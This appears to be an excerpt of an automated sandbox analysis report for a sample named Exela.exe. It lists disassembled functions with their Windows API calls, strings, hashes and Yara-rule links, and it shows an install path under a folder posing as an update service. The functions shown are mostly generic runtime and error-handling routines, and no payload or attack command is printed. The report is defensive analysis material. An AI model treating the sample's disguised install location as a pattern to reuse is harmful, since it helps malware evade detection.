Instruction Fuzzy Hash: 1E81A173F08682A9E765CF2D855A3392EA0AF10B4CF554170CA0DF7295CE2EF881920B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A6CD70 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6E3A6CD9B
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6E3A6CE32
RtlUnwindEx.KERNEL32 ref: 00007FF6E3A6CE8C

Strings

csm, xrefs: 00007FF6E3A6CE19

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 9937fcd42addf426bdc80adcc1b9a62f0535f05a99127480d1a1977f785d18a7
Instruction ID: 351b987bff9e5185bc3492c83dc4e4d2d6b55604f54e0682a10aaac2792cf7f3
Opcode Fuzzy Hash: 9937fcd42addf426bdc80adcc1b9a62f0535f05a99127480d1a1977f785d18a7
Instruction Fuzzy Hash: F551D633B296018ADB14CB1DE44573C3BA5EB54B88F408135EA5D93788DF7EE881C709

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A6F5F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6E3A6F64F
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6E3A6F69B

Strings

MOC, xrefs: 00007FF6E3A6F663
RCC, xrefs: 00007FF6E3A6F66B

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: e4646d365215256e67ec22a9df473d11678327abea87c6de7235dddbff79b36e
Instruction ID: d649015e857b4f47f4637fd944f0cdfd2059587896717b65471d06eb367b9486
Opcode Fuzzy Hash: e4646d365215256e67ec22a9df473d11678327abea87c6de7235dddbff79b36e
Instruction Fuzzy Hash: F361A233A18BC581DB608F29E4413AABBA0FB85784F044225EB9DA3B95DF3DD1D1CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A6F9A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6E3A6F9C8
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF6E3A6FAB0

Strings

csm, xrefs: 00007FF6E3A6F9EA
csm, xrefs: 00007FF6E3A6FB02

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 723dedddd72afc6468d282760165df683ca6c1680e5e3aacb3d58d0999c557cb
Instruction ID: 964ef10b518c2dbaaf6dae603fc6137936e13755b2ecd5ebf12dea4bd7fedb02
Opcode Fuzzy Hash: 723dedddd72afc6468d282760165df683ca6c1680e5e3aacb3d58d0999c557cb
Instruction Fuzzy Hash: 9551A233B282828AEB648F1D95563687B90FF54B84F184135DA8DA7B95CF3DE4D0C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A62870 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6E3A68BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6E3A62A9B), ref: 00007FF6E3A68C0A

MessageBoxW.USER32 ref: 00007FF6E3A6297B
MessageBoxA.USER32 ref: 00007FF6E3A62997

Strings

%s%s: %s, xrefs: 00007FF6E3A628F6
Fatal error detected, xrefs: 00007FF6E3A62951, 00007FF6E3A62989

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: 88149bfc2a28579845b544d32f14f9b1101eddfde92b8430b51e14ba55e9a319
Instruction ID: 5a719adf300bcb8e9b21232d8531767d1de5e5236fdd4afe8f635d0b8aeb020d
Opcode Fuzzy Hash: 88149bfc2a28579845b544d32f14f9b1101eddfde92b8430b51e14ba55e9a319
Instruction Fuzzy Hash: 8531B67372868181E620EB18F4527EAB764FF84BC4F804035E68D97A99DF3DD245CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A63EB0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF6E3A639CA), ref: 00007FF6E3A63EE1

Part of subcall function 00007FF6E3A629C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6E3A688E2,?,?,?,?,?,?,?,?,?,?,?,00007FF6E3A6101D), ref: 00007FF6E3A629F4
Part of subcall function 00007FF6E3A629C0: MessageBoxW.USER32 ref: 00007FF6E3A62AD0

Strings

GetModuleFileNameW, xrefs: 00007FF6E3A63EF2
Failed to get executable path., xrefs: 00007FF6E3A63EEB
Failed to convert executable path to UTF-8., xrefs: 00007FF6E3A63F1A

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: a0f4ac4870535fdd3da745cd16929a0880a6c5442cdd0bc39b12d524b6311160
Instruction ID: dc61d9b01188e8cfae51e044f94b923d0e3b1d73e1f18b6e13660d69097f7ec4
Opcode Fuzzy Hash: a0f4ac4870535fdd3da745cd16929a0880a6c5442cdd0bc39b12d524b6311160
Instruction Fuzzy Hash: 23014853B2D74280FB60971DE81B3B53AA5AF487C4F400435D84EEA696EE1EE185874A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7D140 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6E3A7D1BF
WriteFile.KERNEL32 ref: 00007FF6E3A7D487
WriteFile.KERNEL32 ref: 00007FF6E3A7D4CD
GetLastError.KERNEL32 ref: 00007FF6E3A7D583

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0a0d81bfe4120ef9cba8412760d98f6ac5c5ee8295e8d3c135a36233c03d6874
Instruction ID: bdc1b1e1669fa33aeda0e9878ad84c9927ada267575002897b895a6fd9ee47d9
Opcode Fuzzy Hash: 0a0d81bfe4120ef9cba8412760d98f6ac5c5ee8295e8d3c135a36233c03d6874
Instruction Fuzzy Hash: 06D1EF73B18A818AE710CF69D4812AC3BA5EB447D8B044235CE5EA7BC9DE39D486C345

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A62310 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF6E3A62344
SetWindowLongPtrW.USER32 ref: 00007FF6E3A62366
GetWindowLongPtrW.USER32 ref: 00007FF6E3A62390
InvalidateRect.USER32 ref: 00007FF6E3A623B0

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: b05b5568a63e2e2d0baaa3588e58b47743bee96d0fa3dc0d735729d29a60f88b
Instruction ID: f88006cbeb7005bbc4421bd2573f891b0f68c8f0caaf15c59716f96f865d5551
Opcode Fuzzy Hash: b05b5568a63e2e2d0baaa3588e58b47743bee96d0fa3dc0d735729d29a60f88b
Instruction Fuzzy Hash: 3B11E923B2818242F7548B6DF54A3B96A52EBC4B80F448071DA49A6B9ACE2ED4C1460A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A6C590 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6E3A6C5BC
GetCurrentThreadId.KERNEL32 ref: 00007FF6E3A6C5CA
GetCurrentProcessId.KERNEL32 ref: 00007FF6E3A6C5D6
QueryPerformanceCounter.KERNEL32 ref: 00007FF6E3A6C5E6

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c9256d3c29dec7defdbd069e132950cc3752c5933af8d37e6b370c711f310d19
Instruction ID: bfe8b015818ed3fa7bab19f2a43c7c4b25e7b130f6e60fc0021cd378f0b06b22
Opcode Fuzzy Hash: c9256d3c29dec7defdbd069e132950cc3752c5933af8d37e6b370c711f310d19
Instruction Fuzzy Hash: 1E117022B14F018AEB00DF68E8453B837A4FB18758F041E31DA6DA7BA4EF3DD1A48340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A8686C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6E3A823B0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A823E3

_get_daylight.LIBCMT ref: 00007FF6E3A86984
_get_daylight.LIBCMT ref: 00007FF6E3A86995

Strings

?, xrefs: 00007FF6E3A86915

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: f7308ed130ebcec51d7c207d98fe8ad99d28455c8954ade1b0b7718248787264
Instruction ID: e60d459c3a7cdd47d5e37718cd7ad978a73bd954bffdb11a0ea6fc22ed169747
Opcode Fuzzy Hash: f7308ed130ebcec51d7c207d98fe8ad99d28455c8954ade1b0b7718248787264
Instruction Fuzzy Hash: 9241F713B082C242F7649B29F44A37AAE50EB807A4F104235EF5C97AE9DE3ED4C18706

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A79B84 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A79BB6

Part of subcall function 00007FF6E3A7B4EC: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF6E3A83972,?,?,?,00007FF6E3A839AF,?,?,00000000,00007FF6E3A83E75,?,?,00000000,00007FF6E3A83DA7), ref: 00007FF6E3A7B502
Part of subcall function 00007FF6E3A7B4EC: GetLastError.KERNEL32(?,?,?,00007FF6E3A83972,?,?,?,00007FF6E3A839AF,?,?,00000000,00007FF6E3A83E75,?,?,00000000,00007FF6E3A83DA7), ref: 00007FF6E3A7B50C

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6E3A6C125), ref: 00007FF6E3A79BD4

Strings

C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe, xrefs: 00007FF6E3A79BC2

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ErrorFileLanguagesLastModuleNamePreferredRestoreThread_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
API String ID: 2553983749-1698472059
Opcode ID: e02605a42b068f6eccedcb3010d95b522989991cdee656cc9b719bfc68919b09
Instruction ID: 1788f8cfe9170df74c6b53c7d4ebd86348775ca304a6c969aa84f0d2e4ff7b3e
Opcode Fuzzy Hash: e02605a42b068f6eccedcb3010d95b522989991cdee656cc9b719bfc68919b09
Instruction Fuzzy Hash: 23419333B08A1285EB24DF29D4C22B86BE5EF457D4B14503AE90D93BD9DE3ED4C1830A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7D7D8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6E3A7D8EF
GetLastError.KERNEL32 ref: 00007FF6E3A7D911

Strings

U, xrefs: 00007FF6E3A7D89B

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 1c4d8f885a23e91b6f023f5bba01b3d5456b675b65fc2396528dfcf9b2bee20e
Instruction ID: b1be68445bb1c1591392d95bfc5434cdb5f0c7241c047e9c002af3fccee24edf
Opcode Fuzzy Hash: 1c4d8f885a23e91b6f023f5bba01b3d5456b675b65fc2396528dfcf9b2bee20e
Instruction Fuzzy Hash: 7641E323B18A8191DB20CF29E8853A9BBA0FB88784F404135EE4DD7B98EF3DD481C745

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7FEF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF6E3A7FF38
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6E3A7FF8A

Strings

:, xrefs: 00007FF6E3A7FF4E

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: c814f4e6a73fca8fb0e34a5fa34791fb923e44da2351119a4fd3a89c16c72e66
Instruction ID: 40483afba96b12077aa66ca79d4b8e591a52fa945d82b0b483d045603432e8ac
Opcode Fuzzy Hash: c814f4e6a73fca8fb0e34a5fa34791fb923e44da2351119a4fd3a89c16c72e66
Instruction Fuzzy Hash: DB21E623B0868181EB209B29D48636D77B1FF84B44F518035DA8DE36C9DF7ED685C746

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A62C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6E3A68BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6E3A62A9B), ref: 00007FF6E3A68C0A

MessageBoxW.USER32 ref: 00007FF6E3A62D05
MessageBoxA.USER32 ref: 00007FF6E3A62D21

Strings

Error detected, xrefs: 00007FF6E3A62CDB, 00007FF6E3A62D13

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
Opcode ID: 04587b85e8c5a5f01c124244adb340557da1a3c376205467b785ddfdae2ba4e1
Instruction ID: bc351c6d1845a0fe97a8dfad5808d44be36f202d7cfb17d46640d381de1046a6
Opcode Fuzzy Hash: 04587b85e8c5a5f01c124244adb340557da1a3c376205467b785ddfdae2ba4e1
Instruction Fuzzy Hash: 4C210573728A8181E720DB18F4523EAB764FF84784F800135E68D97AA9DF3DD255CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A62B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6E3A68BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6E3A62A9B), ref: 00007FF6E3A68C0A

MessageBoxW.USER32 ref: 00007FF6E3A62BE5
MessageBoxA.USER32 ref: 00007FF6E3A62C01

Strings

Fatal error detected, xrefs: 00007FF6E3A62BBB, 00007FF6E3A62BF3

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: b6f7d9423fd809a91d1653bcdf9902987ab7b8a697f00e322c081d77e498ae58
Instruction ID: f09bbac8a7b55a8c088e258ae24795204442b0119e28fb5de048987196ac36f8
Opcode Fuzzy Hash: b6f7d9423fd809a91d1653bcdf9902987ab7b8a697f00e322c081d77e498ae58
Instruction Fuzzy Hash: 0D21E573728A8281E720DB19F4527EAB764FF84784F800035E68D97AA9DF3DD245CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A70468 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF6E3A704B8
RaiseException.KERNEL32 ref: 00007FF6E3A704F9

Strings

csm, xrefs: 00007FF6E3A704E6

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: c8cc4bb08b20690d02c8bce5cff6a9b5d4d552f887a177c474232a7ea1470dcf
Instruction ID: 0e1c246dc37f5bcb07205e7c2fb34d11c075a565d60a6a350d6e1450de76f1f4
Opcode Fuzzy Hash: c8cc4bb08b20690d02c8bce5cff6a9b5d4d552f887a177c474232a7ea1470dcf
Instruction Fuzzy Hash: A9115133618B8082DB61CB29F444259BBE4FB98B94F584270DBCD577A9DF3DC5918B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A809FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A80A2C
GetDriveTypeW.KERNEL32 ref: 00007FF6E3A80A6C

Strings

:, xrefs: 00007FF6E3A80A55

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 0bb087a2c4c4f6707d1aaf47450714c5cfb5908953c580e39f9c8bdb8a3b6409
Instruction ID: dfab1a3d5f52ce2a3ec5235b37eb3ff5382f2d0a2fdf58a6609f7387de163c0b
Opcode Fuzzy Hash: 0bb087a2c4c4f6707d1aaf47450714c5cfb5908953c580e39f9c8bdb8a3b6409
